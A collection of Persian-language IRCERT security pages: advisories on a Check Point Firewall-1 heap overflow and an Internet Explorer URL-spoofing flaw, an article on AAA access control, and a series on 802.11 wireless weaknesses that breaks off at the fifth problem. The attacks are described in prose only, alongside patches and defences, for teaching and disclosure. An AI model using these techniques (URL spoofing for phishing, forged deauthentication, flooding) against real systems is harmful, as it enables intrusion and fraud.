  • Check Point Firewall-1 NG with Application Intelligence R54
  • Check Point Firewall-1 NG with Application Intelligence R55

چکیده

نسخه های مختلف Firewall-1 دارای شکاف امنیتی ای هستند که به نفوذگر اجازه میدهد قطعه کدی را با اختیارات مدیر سیستم اجرا کند و ازین طریق کاملا کنترل فایروال و نیز سروری را که فایروال بر روی آن اجرا شده است در اختیار بگیرد.

توضیحات

یکی از اجزای Firewall-1 به نام Application Intelligence وظیفه بررسی ترافیک ورودی از جهت حملات لایه کاربرد را بعهده دارد. این قسمت فایروال بسته های مربوط به پروتکل HTTP را نیز بررسی میکند. زمانی که یک پیغام غیر معمول HTTP توسط این بخش مشاهده میشود ، فایروال یک پیغام خطا تولید میکند که این پیغام خطا شامل بخشی از خود بسته HTTP نیز می باشد. به این ترتیب بخشی از بسته HTTP ورودی به یک دستور sprintf معمولی فرستاده میشود که میتواند باعث یک حمله از نوع Buffer Overflow از نوع Heap Overflowگردد.

تاثیرات

این شکاف امنیتی به نفوذگر اجازه میدهد تا قطعه کدی را با اختیارات مدیر سیستم بر روی ماشین فایروال اجرا نماید(root یا Administrator).

راه حل

  • شرکت Check Point یک نسخه امنیتی بروز شده فایروای را در آدرس زیر در دسترس قرار داده است:

http://www.checkpoint.com/techsupport/alerts/security_server.html

  • در صورتی عدم دسترسی به نسخه فوق میتوانید با غیر فعال کردن یکی از دو بسته زیر شکاف امنیتی مذکور را از بین ببرید:
    • HTTP Security Servers
    • Application Intelligence component


﻿ IRCERT - راهنماییها-Microsoft IEعدم نمایش صحیح آدرسها در

شکاف امنیتی:

عدم نمایش صحیح URL ها در Microsoft IE

تاریخ: 3/2/2004

منبع: CERT/CC

منبع اصلی:

شماره CVE:

چکیده

مرورگر میکروسافت (IE) URL ها را در بعضی موارد بصورت کامل نمایش نمیدهد. این مطلب میتواند باعث شود تا نفوذگر ، کاربران کامپیوتر را به اشتباه ، وادار به ورود اطلاعات حساس (مانند کلمه های عبور) نماید.

توضیحات

مرورگر وب شرکت میکروسافت (IE) آدرس صفحه جاری را در Address Bar نمایش میدهد. در واقع کاربران توقع دارند تا آنچه در Address Bar نمایش می یابد دقیقا منبع صفحه جاری باشد که بدان اطمینان دارند. اما IE در صورتی که بعضی حروف غیر قابل چاپ در URL موجود باشد ، کل URL را به صورت صحیح و کاملی نمایش نمیدهد. فرمت کلی URL به شکل زیر است:

<userinfo>@<host>:<port>

حال اگر در داخل فیلد userinfo حروف غیر قابل چاپی وجود داشته باشد ، IE فقط userinfo را نمایش میدهد اما عملا صفحه موجود در host:port را به کاربر نشان میدهد.

بنابراین نفوذگر ممکن است داخل userinfo را با آدرس یک URL مورد اعتماد کاربر پر کند اما عملا در قسمت host:port آدرس سایت مورد نظر خودش را قرار دهد. سایت مورد نظر نفوذ گر ممکن است سپس کاربر را (با توجه به جلب اعتماد او از طریق آدرس معتبر) وادار به ورود اطلاعات شخصی (مانند نام کاربری و کلمه عبور ...) خود نماید. این سری عملیات خرابکارانه تحت عنوان "phishing" شناخته میشود.

تاثیرات

نفوذگر ممکن است کاربر را (از طریق این شکاف امنیتی) متقاعد کند که در حال مشاهده یک سایت عادی و مورد اعتماد است در حالی که کاربر عملا در حال مشاهده سایت خود نفوذگر می باشد. سپس نفوذگر میتواند با استفاده از تکنیکهای مهندسی اجتماعی به اطلاعات شخصی کاربر دست یابد.

راه حل

  • اعمال وصله امنیتی مربوط به IE: MS04-004
  • تایپ دستی URL ها: سعی کنید به جای کلیک کردن ساده بر روی URL های موجود در منابع غیر قابل اعتماد (مانند Email یا PM) آنها را مستقیما در Address Bar تایپ کنید.


﻿ IRCERT - مقالات - AAA (Authentication, Authorization and Accounting)

AAA (Authentication, Authorization and Accounting)

AAA که مخفف Authentication, Authorization and Accounting است سه محور اصلی در کنترل دسترسی در شبکه هستند که در این بخش در مورد هریک از آنها به طور مجزا و مختصر صحبت می‌شود. ابتدا تعریفی از هریک از این مفاهیم ارائه می‌دهیم.

۱ - Authentication

۱-۱ - مفهوم Authentication

به معنای وارسی عناصر شناسایی ارائه شده از سوی کاربر،‌ تجهیزات یا نرم‌افزارهایی است که تقاضای استفاده و دسترسی به منابع شبکه را دارند. عناصر شناسایی در ابتدایی‌ترین و معمول‌ترین حالت شامل نام کاربری و کلمه عبور می‌باشند. در صورت نیاز به بالاتر بودن پیچیدگی فرایند کنترل و وارسی هویت، می‌توان با اضافه نمودن عناصر شناسایی به این مهم دست یافت. بدیهی‌ است که با اضافه نمودن فاکتورها و عناصر شناسایی، نوع خادم مورد استفاده، پایگاه‌های داده‌ای مورد نظر و در بسیاری از موارد پروتکل‌ها و استانداردها نیز باید مطابق با تغییرات اعمال شده در نظر گرفته شوند تا یکسانی در ارائه خدمات در کل شبکه حفظ شود.

پس از ارائه عناصر شناسایی از سوی متقاضی، سیستم کد کاربری و کلمه عبور را با بانک اطلاعاتی مختص کدهای شناسایی کاربری مقایسه کرده و پذیرش یا عدم پذیرش دسترسی به منابع را صادر می‌کند.

عمل Authentication، در طراحی‌ شبکه‌هایی با حجم کم و متوسط عموماً توسط تجهیزات مسیریابی و یا دیوارهای آتش انجام می‌گیرد. علت استفاده از این روش مجتمع سازی و ساده سازی پیاده‌سازی عمل Authentication است. با استفاده از امکانات موجود نیاز به استقرار یک خادم مجزا برای صدور پذیرش هویت متقاضیان دسترسی مرتفع می‌گردد.

از سوی دیگر در شبکه‌های با حجم و پیچیدگی نسبتاً بالا،‌ عموماً با توجه به پردازش بالای مختص عمل Authentication، خادمی بصورت مستقل و مجزا به این امر اختصاص می‌یابد. در این روش از استانداردها و پروتکل‌های مختلفی همچون TACACS+ و RADIUS استفاده می‌گردد.

۱-۲ - فعال نمودن Authentication

فعال نمودن Authentication بر روی تجهیزات مورد استفاده در شبکه عملی است که عموماً در چهار مرحله انجام می‌شود :

الف - فعال نمودن AAA بر روی سخت‌افزارهای مورد نظر

ب - ایجاد پایگاه‌ داده‌ای از کدهای کاربری کاربران یا تجهیزات شبکه به همراه کلمه‌های عبور. همانگونه که ذکر شد، این پایگاه می‌تواند در داخل تجهیزات مورد استفاده در شبکه‌های با حجم کم پیاده‌سازی شود. در شبکه‌های با حجم نسبتاً بالا که در آنها نیاز به استفاده از خادمی مختص عمل Authentication احساس می‌شود، تجهیزات فعال شبکه به گونه‌ای پیکربندی می‌شوند که عمل Authentication را با استفاده از پایگاه‌های داده‌ای مستقر بر روی خادم‌های مختص این فرایند،‌ انجام دهند.

ج – ایجاد فهرست(های) روش انجام عمل Authentication. این فهرست‌ها به تعیین روش‌ مورد نظر برای عمل Authentication اخصاص دارند.

د – اعمال فهرست(های) روش ساخته شده ار مرحله قبل.

در هر شبکه، در صورت نیاز به عمل Authentication، این چهار مرحله بر روی تمامی تجهیزاتی که در عمل AAA نقش دارند اجرا می‌شوند.

۲ – Authorization

۲-۱ - مفهوم Authorization

Authorization فرایندی است که طی آن به کاربران و یا تجهیزات متقاضی دسترسی به منابع، امکان استفاده از منبع یا منابع مستقر بر روی شبکه داده می‌شود. به بیان دیگر این عمل برای مدیران شبکه امکان تعیین نوع دسترسی به هریک از منابع شبکه، برای تک تک متقاضیان دسترسی و یا گروهی از آنها، را فراهم می‌کند.

از سوی دیگر،‌ عمل امکان اختصاص آدرس‌های شناخته شده و از پیش تعیین شده به کاربران یا تجهیزات، همچون متقاضیانی که با استفاده از پروتکل PPP به شبکه متصل می‌شوند،‌ را می‌دهد. این عمل متقاضی را ملزم به استفاده از نوع خاصی ار استانداردها یا پیکربندی‌های ارتباطی مورد نظر مدیر شبکه می‌کند.

زمانی که Authorization بر روی شبکه فعال شده باشد، خادم شبکه‌ای که مسئولیت Authorization را بر عهده دارد اطلاعات کاربر را از روی پایگاه داده کاربرها استخراج می‌کند. این پایگاه داده می‌تواند بر روی خادم محلی بوده و یا بر روی پایگاهی مجزا قرار داشته باشد.

پس از استخراج این اطلاعات، وضعیت دسترسی مورد قبول مدیریت با تقاضای کاربر قیاس گردیده و تایید یا عدم تایید اجازه استفاده از سرویس یا منبع مورد نظر متقاضی صادر می‌شود.

۲-۲ – برقراری Authorization

برقراری و فعال نمودن Authorization عملی مشابه فعال نمودن Authentication است. برای برقراری و فعال نمودن Authorization، Authentication باید فعال شده باشد. به عبارت دیگر کلیه مراحل را می‌توان به شکل زیرخلاصه نمود:

الف - فعال نمودن Authentication بر روی سخت‌افزارهای مورد نظر. همانگونه که ذکر شد اولین مرحله از چهار مرحله فعال‌سازی این فرایند، فعال‌ سازی AAA بر روی تجهیزات است.

ب – ایجاد فهرست(های) روش انجام عمل Authorization. این فهرست‌ها علاوه بر تعیین روش‌ مورد نظر برای عمل Authorization، مبین سرویس مورد نظر برای عمل Authorization نیز می‌باشند.

ج – اعمال فهرست(های) روش ساخته شده ار مرحله قبل.

۳ - Accounting

۳-۱ – مفهوم Accounting

Accounting آخرین بخش از فرایند جمعی AAA است. طی این فرایند، گزارشی از عملکرد کاربران یا سخت‌افزارهایی که هویت آنها طی اعمال Authentication و Authorization تایید شده است، توسط خادم AAA تهیه می‌شود. این عمل می‌تواند با استفاده از خادم های خارجی که اس پروتکل‌ها و استانداردهایی چون TACACS+ و RADIUS استفاده می‌کنند انجام گیرد.

به بیان دیگر،‌ این عمل قدمی فراتر از دو مرحله پیشین برداشته،‌ و پیگیری بعدی، پس از احراز هویت را انجام می‌دهد. پیام‌های Accounting به شکل رکورد،‌ میان تجهیزاتی که از طریق آنها دسترسی متقاضی درخواست شده و پایگاه‌های داده‌ای از قبیل TACACS+ یا RADIUS، تبادل می‌گردد.

۳-۲ – فعال سازی Accounting

فرایند فعال سازی Accounting مشابه Authorization است که مهم‌ترین مراحل شامل ایجاد فهرست‌های روش Accounting و اعمال آنهاست.


﻿ IRCERT - هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 - مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش اول

موفقیت حیرت انگیز 802.11 به علت توسعه «اترنت بی سیم» است. همچنانکه 802.11 به ترقی خود ادامه می دهد، تفاوت هایش با اترنت بیشتر مشخص می شود. بیشتر این تفاوت ها به دلیل نا آشنایی نسبی بسیاری از مدیران شبکه با لایه فیزیکی فرکانس رادیویی است. در حالیکه همه مدیران شبکه باید درک پایه ای از لینک رادیویی داشته باشند، تعدادی از ابزارها برای کمک به آنها به خدمت گرفته می شوند. آنالایزرهای (تحلیل کننده ) شبکه های بی سیم برای مدت ها ابزاری لازم برای مهندسان شبکه در اشکال زدایی و تحلیل پروتکل بوده اند. بسیاری از آنالایزرها بعضی کارکردهای امنیتی را نیز اضافه کرده اند که به آنها اجازه کار با عملکردهای بازرسی امنیتی را نیز می دهد.

در این سلسله مقاله هفت مشکل از مهم ترین آسیب پذیری های امنیتی موجود در LANهای بی سیم، راه حل آنها و در نهایت چگونگی ساخت یک شبکه بی سیم امن مورد بحث قرار می گیرد. بسیاری از پرسش ها در این زمینه در مورد ابزارهایی است که مدیران شبکه می توانند استفاده کنند. یک آنالایزر از اولین خریدهایی است که یک مدیر شبکه باید انجام دهد. آنالایزرها علاوه بر عملکردهای سنتی تحلیل پروتکل و ابزار تشخیص عیب، می توانند برای تشخیص بسیاری از نگرانی های امنیتی که استفاده از شبکه بی سیم را کند می کنند، استفاده شوند. این سلسله مقاله هریک از این «هفت مسأله امنیتی» را بررسی می کند و توضیح می دهد که چگونه و چرا آنالایزر بی سیم، یک ابزار حیاتی برای تضمین امنیت شبکه های بی سیم است.

مسأله شماره ۱: دسترسی آسان

LANهای بی سیم به آسانی پیدا می شوند. برای فعال کردن کلاینت ها در هنگام یافتن آنها، شبکه ها باید فریم های Beacon با پارامتر های شبکه را ارسال کنند. البته، اطلاعات مورد نیاز برای پیوستن به یک شبکه، اطلاعاتی است که برای اقدام به یک حمله روی شبکه نیاز است. فریم های Beacon توسط هیچ فانکشن اختصاصی پردازش نمی شوند و این به این معنی است که شبکه 802.11 شما و پارامترهایش برای هر شخصی با یک کارت 802.11 قابل استفاده است. نفوذگران با آنتن های قوی می توانند شبکه ها را در مسیرها یا ساختمان های نزدیک بیابند و ممکن است اقدام به انجام حملاتی کنند حتی بدون اینکه به امکانات شما دسترسی فیزیکی داشته باشند.

راه حل شماره ۱: تقویت کنترل دسترسی قوی

دسترسی آسان الزاماً با آسیب پذیری مترادف نیست. شبکه های بی سیم برای ایجاد امکان اتصال مناسب طراحی شده اند، اما می توانند با اتخاذ سیاستهای امنیتی مناسب تا حد زیادی مقاوم شوند. یک شبکه بی سیم می تواند تا حد زیادی در این اتاق محافظت شده از نظر الکترومغناطیس محدود شود که اجازه نشت سطوح بالایی از فرکانس رادیویی را نمی دهد. به هرحال، برای بیشتر موسسات چنین برد هایی لازم نیستند. تضمین اینکه شبکه های بی سیم تحت تأثیر کنترل دسترسی قوی هستند، می تواند از خطر سوءاستفاده از شبکه بی سیم بکاهد.

تضمین امنیت روی یک شبکه بی سیم تا حدی به عنوان بخشی از طراحی مطرح است. شبکه ها باید نقاط دسترسی را در بیرون ابزار پیرامونی امنیت مانند فایروال ها قرار دهند و مدیران شبکه باید به استفاده از VPNها برای میسر کردن دسترسی به شبکه توجه کنند. یک سیستم قوی تأیید هویت کاربر باید به کار گرفته شود و ترجیحاً با استفاده از محصولات جدید که برپایه استاندارد IEEE 802.1x هستند. 802.1x انواع فریم های جدید برای تأیید هویت کاربر را تعریف می کند و از دیتابیس های کاربری جامعی مانند RADIUS بهره می گیرد. آنالایزرهای باسیم سنتی می توانند با نگاه کردن به تقاضاهای RADIUS و پاسخ ها، امکان درک پروسه تأیید هویت را فراهم کنند. یک سیستم آنالیز خبره برای تأیید هویت 802.11 شامل یک روتین عیب یابی مشخص برای LANهاست که ترافیک تأیید هویت را نظاره می کند و امکان تشخیص عیب را برای مدیران شبکه فراهم می کند که به آنالیز بسیار دقیق و کدگشایی فریم احتیاج ندارد. سیستم های آنالیز خبره که پیام های تأیید هویت 802.1x را دنبال می کنند، ثابت کرده اند که برای استفاده در LANهای استفاده کننده از 802.1x فوق العاده باارزش هستند.

هرگونه طراحی، بدون در نظر گرفتن میزان قدرت آن، باید مرتباً بررسی شود تا سازگاری چینش فعلی را با اهداف امنیتی طراحی تضمین کند. بعضی موتورهای آنالیز تحلیل عمیقی روی فریم ها انجام می دهند و می توانند چندین مسأله معمول امنیت 802.1x را تشخیص دهند. تعدادی از حملات روی شبکه های باسیم در سال های گذشته شناخته شده اند و لذا وصله های فعلی به خوبی تمام ضعف های شناخته شده را در این گونه شبکه ها نشان می دهند. آنالایزرهای خبره پیاده سازی های ضعیف را برای مدیران شبکه مشخص می کنند و به این ترتیب مدیران شبکه می توانند با به کارگیری سخت افزار و نرم افزار ارتقاء یافته، امنیت شبکه را حفظ کنند.

پیکربندی های نامناسب ممکن است منبع عمده آسیب پذیری امنیتی باشد، مخصوصاً اگر LANهای بی سیم بدون نظارت مهندسان امنیتی به کارگرفته شده باشند. موتورهای آنالیز خبره می توانند زمانی را که پیکربندی های پیش فرض کارخانه مورد استفاده قرار می گیرند، شناسایی کنند و به این ترتیب می توانند به ناظران کمک کنند که نقاطی از دسترسی را که بمنظور استفاده از ویژگی های امنیتی پیکربندی نشده اند، تعیین موقعیت کنند. این آنالایزرها همچنین می توانند هنگامی که وسایلی از ابزار امنیتی قوی مانند VPNها یا 802.1x استفاده نمی کنند، علائم هشدار دهنده را ثبت کنند.

در شماره های بعد مشکلات امنیتی دیگر مورد بررسی قرار خواهند گرفت.


﻿ IRCERT - هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 : بخش دوم - مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 : بخش دوم

در شماره پیش با اولین مسأله مربوط به شبکه های بی سیم آشنا شدیم. و حالا...

مسأله شماره ۲: نقاط دسترسی نامطلوب

دسترسی آسان به شبکه های LAN بی سیم امری منفک از راه اندازی آسان آن نیست. این دو خصوصیت در هنگام ترکیب شدن با یکدیگر می توانند برای مدیران شبکه و مسوولان امنیتی ایجاد دردسر کنند. هر کاربر می تواند به فروشگاه کامپیوتر نزدیک خود برود، یک نقطه دسترسی! بخرد و بدون کسب اجازه ای خاص به کل شبکه متصل شود. بسیاری از نقاط دسترسی با اختیارات مدیران میانی عرضه می شوند و لذا دپارتمان ها ممکن است بتوانند LAN بی سیمشان را بدون صدور اجازه از یک سازمان IT مرکزی در معرض عموم قرار دهند. این دسترسی به اصطلاح «نامطلوب» بکارگرفته شده توسط کاربران ، خطرات امنیتی بزرگی را مطرح می کند. کاربران در زمینه امنیتی خبره نیستند و ممکن است از خطرات ایجاد شده توسط LAN های بی سیم آگاه نباشند. ثبت بسیاری از ورودها به شبکه نشان از آن دارد که ویژگی های امنیتی فعال نیستند و بخش بزرگی از آنها تغییراتی نسبت به پیکربندی پیش فرض نداشته اند و با همان پیکربندی راه اندازی شده اند.

راه حل شماره۲ : رسیدگی های منظم به سایت

مانند هر تکنولوژی دیگر شبکه، شبکه های بی سیم به مراقبت از سوی مدیران امنیتی نیاز دارند. بسیاری از این تکنولوژی ها به دلیل سهولت استفاده مورد بهره برداری نادرست قرار می گیرند، لذا آموختن نحوه یافتن شبکه های امن نشده از اهمیت بالایی برخوردار است.

روش بدیهی یافتن این شبکه ها انجام همان کاری است که نفوذگران انجام می دهند: استفاده از یک آنتن و جستجوی آنها به این منظور که بتوانید قبل از نفوذگران این شبکه ها را پیدا کنید. نظارت های فیزیکی سایت باید به صورت مرتب و در حد امکان انجام گیرد. اگرچه هرچه نظارت ها سریع تر انجام گیرد، امکان کشف استفاده های غیرمجاز بیشتر است، اما زمان زیادی که کارمندان مسوول این امر باید صرف کنند، کشف تمامی استفاده های غیرمجاز را بجز برای محیط های بسیار حساس، غیرقابل توجیه می کند. یک راهکار برای عدم امکان حضور دائم می تواند انتخاب ابزاری در اندازه دستی باشد. این عمل می تواند استفاده تکنسین ها از اسکنرهای دستی در هنگام انجام امور پشتیبانی کاربران، برای کشف شبکه های غیرمجاز باشد.

یکی از بزرگترین تغییرات در بازار 802.11 در سال های اخیر ظهور 802.11a به عنوان یک محصول تجاری قابل دوام بود. این موفقیت نیاز به ارائه ابزارهایی برای مدیران شبکه های 802.11a را بوجود آورد. خوشبختانه، 802.11a از همان MAC پیشینیان خود استفاده می کند، بنابراین بیشتر آنچه مدیران راجع به 802.11 و تحلیل کننده ها می دانند، بدرد می خورد. مدیران شبکه باید دنبال محصولی سازگار باشند که هر دو استاندارد 802.11a و 802.11b را بصورت یکجا و ترجیحاً به صورت همزمان پشتیبانی کند. چیپ ست های دوباندی 802.11a/b و کارت های ساخته شده با آنها به آنالایزرها اجازه می دهد که روی هر دو باند بدون تغییرات سخت افزاری کار کنند، و این بدین معنی است که مدیران شبکه نیاز به خرید و آموزش فقط یک چارچوپ پشتیبانی شده برای هر دو استاندارد دارند. این روال باید تا 802.11g ادامه یابد، تا جایی که سازندگان آنالایزرها کارت های 802.11a/b/g را مورد پذیرش قرار دهند.

بسیاری از ابزارها می توانند برای انجام امور رسیدگی به سایت و ردیابی نقاط دسترسی نامطلوب استفاده شوند، اما مدیران شبکه باید از نیاز به همگامی با آخرین تکنیک های استفاده شده در این بازی موش و گربه! آگاه باشند. نقاط دسترسی می توانند در هر باند فرکانسی تعریف شده در 802.11 بکارگرفته شوند، بنابراین مهم است که تمام ابزارهای مورد استفاده در بررسی های سایت بتوانند کل محدوده فرکانسی را پویش کنند. حتی اگر شما استفاده از 802.11b را انتخاب کرده اید، آنالایزر استفاده شده برای کار نظارت بر سایت، باید بتواند همزمان نقاط دسترسی 802.11a را نیز پویش کند تا در طول یک بررسی کامل نیازی به جایگزین های سخت افزاری و نرم افزاری نباشد.

بعضی نقاط دسترسی نامطلوب سعی دارند کانالهایی را به صورت غیرقانونی روی کانال های 802.11b به کار بگیرند که برای ارسال استفاده نمی شوند. برای مثال قوانین FCC تنها اجازه استفاده از کانال های ۱ تا ۱۱ از 802.11b را می دهد. کانال های ۱۲ تا ۱۴ جزء مشخصات آن تعریف شده اند اما فقط برای استفاده در اروپا و ژاپن کاربرد دارند. به هرحال، بعضی کاربران ممکن است از نقطه دسترسی کانال های اروپایی یا ژاپنی استفاده کنند، به این امید که رسیدگی یک سایت متمرکز روی کانال های مطابق با FCC از کانال های فرکانس بالاتر چشم پوشی کند. این قضیه مخصوصاً برای ردیابی ابزارهایی اهمیت دارد که بیرون باند فرکانسی مجاز بکارگرفته شده اند تا از اعمال اجرایی اتخاذ شده توسط نمایندگی های مجاز برحذر باشند. آنالایزرهای غیرفعال (Passive Analyzers) ابزار ارزشمندی هستند زیرا استفاده های غیرمجاز را تشخیص می دهند، اما چون توانی ارسال نمی کنند استفاده از آنها قانونی است.

مدیران شبکه همواره تحت فشار زمانی هستند، و به روش آسانی برای یافتن نقاط دسترسی نامطلوب و در عین حال چشم پوشی از نقاط دسترسی مجاز نیاز دارند. موتورهای جستجوی خبره به مدیران اجازه می دهند که لیستی از نقاط دسترسی مجاز را پیکربندی کنند. هر نقطه دسترسی غیرمجاز باعث تولید علامت هشدار دهنده ای می شود. در پاسخ به علامت هشدار دهنده، مدیران شبکه می توانند از ابزار دیگری برای پیدا کردن نقطه دسترسی براساس مقیاس های قدرت سیگنال استفاده کنند. اگرچه این ابزارها ممکن است خیلی دقیق نباشند، ولی برای محدود کردن محوطه جستجوی نقطه دسترسی نامطلوب به اندازه کافی مناسب هستند.

در شماره های بعد مسائل دیگر بررسی می شوند.


﻿ IRCERT - هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 : بخش سوم - مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 : بخش سوم

در شماره پیش با دومین مشکل امنیتی مهم شبکه های بی سیم آشنا شدیم. در این شماره به مساله سوم و چهارم و راه حل مربوط به آنها می پردازیم.

مسأله شماره ۳: استفاده غیرمجاز از سرویس

چندین شرکت مرتبط با شبکه های بی سیم نتایجی منتشر کرده اند که نشان می دهد اکثر نقاط دسترسی با تنها تغییرات مختصری نسبت به پیکربندی اولیه برای سرویس ارائه می گردند. تقریباً تمام نقاط دسترسی که با پیکربندی پیش فرض مشغول به ارائه سرویس هستند، WEP (Wired Equivalent Privacy) را فعال نکرده اند یا یک کلید پیش فرض دارند که توسط تمام تولیدکنند گان محصولات استفاده می شوند. بدون WEP دسترسی به شبکه به راحتی میسر است. دو مشکل به دلیل این دسترسی باز می تواند بروز کند: کاربران غیرمجاز لزوماً از مفاد ارائه سرویس تبعیت نمی کنند، و نیز ممکن است تنها توسط یک اسپم ساز اتصال شما به ISPتان لغو شود.

راه حل شماره۳ : طراحی و نظارت برای تأیید هویت محکم

راه مقابله مشخص با استفاده غیرمجاز، جلوگیری از دسترسی کاربران غیرمجاز به شبکه است. تأیید هویت محکم و محافظت شده توسط رمزنگاری یک پیش شرط برای صدور اجازه است، زیرا امتیازات دسترسی برپایه هویت کاربر قرار دارند. روش های VPN که برای حفاظت از انتقال در لینک رادیویی به کارگرفته می شوند، تأیید هویت محکمی را ارائه می کنند. تخمین مخاطرات انجام شده توسط سازمان ها نشان می دهد که دسترسی به 802.1x باید توسط روش های تأیید هویت برپایه رمزنگاری تضمین شود. از جمله این روش ها می توان به TLS (Transport Layer Security) ، TTLS (Tunneled TLS) یا PEAP (Protected Extensible Authentication Protocol) اشاره کرد.

هنگامی که یک شبکه با موفقیت راه اندازی می شود، تضمین تبعیت از سیاست های تایید هویت و اعطای امتیاز مبتنی بر آن حیاتی است. همانند مسأله نقاط دسترسی نامطلوب، در این راه حل نیز نظارت های منظمی بر تجهیزات شبکه بی سیم باید انجام شود تا استفاده از مکانیسم های تأیید هویت و پیکربندی مناسب ابزارهای شبکه تضمین شود. هر ابزار نظارت جامع باید نقاط دسترسی را در هر دو باند فرکانسی 802.11b (باند GHz ISM 2.4) و 802.11a ( GHz U-NII 5) تشخیص دهد و پارامترهای عملیاتی مرتبط با امنیت را نیز مشخص کند. اگر یک ایستگاه غیرمجاز متصل به شبکه کشف شود، یک رسیور دستی می تواند برای ردیابی موقعیت فیزیکی آن استفاده شود. آنالایزرها نیز می توانند برای تأیید پیکربندی بسیاری از پارامترهای نقاط دسترسی استفاده گردند و هنگامی که نقاط دسترسی آسیب پذیری های امنیتی را نمایان می کنند، علائم هشدار دهنده صوتی تولید کنند.

مسأله شماره ۴ : محدودیت های سرویس و کارایی

LANهای بی سیم ظرفیت های ارسال محدودی دارند. شبکه های 802.11b سرعت انتقالی برابر با 11 Mbps و شبکه های برپایه تکنولوژی جدید 802.11a نرخ انتقال اطلاعاتی تا 54 Mbps دارند. البته ماحصل مؤثر واقعی، به دلیل بالاسری لایه MAC، تقریباً تا نیمی از ظرفیت اسمی می رسد. نقاط دسترسی کنونی این ظرفیت محدود را بین تمام کاربران مربوط به یک نقطه دسترسی قسمت می کنند. تصور اینکه چگونه برنامه های محلی احتمالاً چنین ظرفیت محدودی را اشغال می کنند یا چگونه یک نفوذگر ممکن است یک حمله انکار سرویس (DoS) روی این منابع محدود طرح ریزی کند، سخت نیست.

ظرفیت رادیویی می تواند به چندین روش اشغال شود. ممکن است توسط ترافیکی که از سمت شبکه باسیم با نرخی بزرگتر از توانایی کانال رادیویی می آید، مواجه شود. اگر یک حمله کننده یک ping flood را از یک بخش اترنت سریع بفرستد، می تواند به راحتی ظرفیت یک نقطه دسترسی را اشغال کند. با استفاده از آدرس های broadcast امکان اشغال چندین نقطه دسترسی متصل به هم وجود دارد. حمله کننده همچنین می تواند ترافیک را به شبکه رادیویی بدون اتصال به یک نقطه دسترسی بی سیم تزریق کند. 802.11 طوری طراحی شده است که به چندین شبکه اجازه به اشتراک گذاری یک فضا و کانال رادیویی را می دهد. حمله کنندگانی که می خواهند شبکه بی سیم را از کار بیاندازند، می توانند ترافیک خود را روی یک کانال رادیویی ارسال کنند و شبکه مقصد ترافیک جدید را با استفاده از مکانیسم CSMA/CA تا آنجا که می تواند می پذیرد. مهاجمان بداندیش که فریم های ناسالم می فرستند نیز ظرفیت محدود را پر می کنند. همچنین ممکن است مهاجمان تکنیک های تولید پارازیت رادیویی را انتخاب کنند و اقدام به ارسال اطلاعات با نویز بالا به شبکه های بی سیم مقصد کنند.

بارهای بزرگ ترافیک الزاماً با نیات بدخواهانه تولید نمی شوند. انتقال فایل های بزرگ یا سیستم client/server ترکیبی ممکن است مقادیر بالایی از دیتا روی شبکه ارسال کنند. اگر تعداد کافی کاربر شروع به گرفتن اندازه های بزرگی از دیتا از طریق یک نقطه دسترسی کنند، شبکه شبیه سازی دسترسی dial-up را آغاز می کند.

راه حل شماره۴ : دیدبانی شبکه

نشان یابی مسائل کارایی با دیدبانی و کشف آنها آغاز می شود. مدیران شبکه بسیاری از کانال ها را برای کسب اطلاعات در مورد کارایی در اختیار دارند: از ابزارهای تکنیکی خاص مانند SNMP (Simple Network Management Protocol) گرفته تا ابزارهای بالقوه قوی غیرفنی مانند گزارش های کارایی کاربران. یکی از مسائل عمده بسیاری از ابزارهای تکنیکی، فقدان جزئیات مورد نیاز برای درک بسیاری از شکایت های کاربران در مورد کارایی است. آنالایزرهای شبکه های بی سیم می توانند با گزارش دهی روی کیفیت سیگنال و سلامت شبکه در مکان کنونی خود، کمک باارزشی برای مدیر شبکه باشند. مقادیر بالای ارسال های سرعت پایین می تواند بیانگر تداخل خارجی یا دور بودن یک ایستگاه از نقطه دسترسی باشد. توانایی نشان دادن سرعت های لحظه ای روی هر کانال، یک تصویر بصری قوی از ظرفیت باقی مانده روی کانال می دهد که به سادگی اشغال کامل یک کانال را نشان می دهد. ترافیک مفرط روی نقطه دسترسی می تواند با تقسیم ناحیه پوشش نقطه دسترسی به نواحی پوشش کوچک تر یا با اعمال روش شکل دهی ترافیک در تلاقی شبکه بی سیم با شبکه اصلی تعیین شود.

در حالیکه هیچ راه حل فنی برای آسیب پذیری های ناشی از فقدان تأیید هویت فریم های کنترل و مدیریت وجود ندارد، مدیران می توانند برای مواجهه با آنها گام هایی بردارند. آنالایزرها اغلب نزدیک محل های دردسرساز استفاده می شوند تا به تشخیص عیب کمک کنند و به صورت ایده آل برای مشاهده بسیاری از حملات DoS کار گذاشته می شوند. مهاجمان می توانند با تغییر دادن فریم های 802.11 با استفاده از یکی از چندین روش معمول واسط های برنامه نویسی 802.11 موجود، از شبکه سوءاستفاده کنند. حتی یک محقق امنیتی ابزاری نوشته است که پیام های قطع اتصال فرستاده شده توسط نقاط دسترسی به کلاینت ها را جعل می کند. بدون تأیید هویت پیام های قطع اتصال بر اساس رمزنگاری، کلاینت ها به این پیام های جعلی عمل می کنند و اتصال خود را از شبکه قطع می کنند. تا زمانی که تأیید هویت به صورت یک فریم رمزشده استاندارد درنیاید، تنها مقابله علیه حملات جعل پیام، مکان یابی حمله کننده و اعمال عکس العمل مناسب است.

برای آگاهی از سه مشکل امنیتی بعدی شبکه های بی سیم در مطالب بعدی با ما باشید.


﻿ IRCERT - هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 – بخش چهارم - مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 – بخش چهارم

در شماره پیش با سومین و چهارمین مشکل امنیتی مهم شبکه های بی سیم آشنا شدیم. در این شماره به مساله پنجم و راه حل مربوط به آن می پردازیم.

مسأله شماره ۵: جعل MAC و sessionربایی!

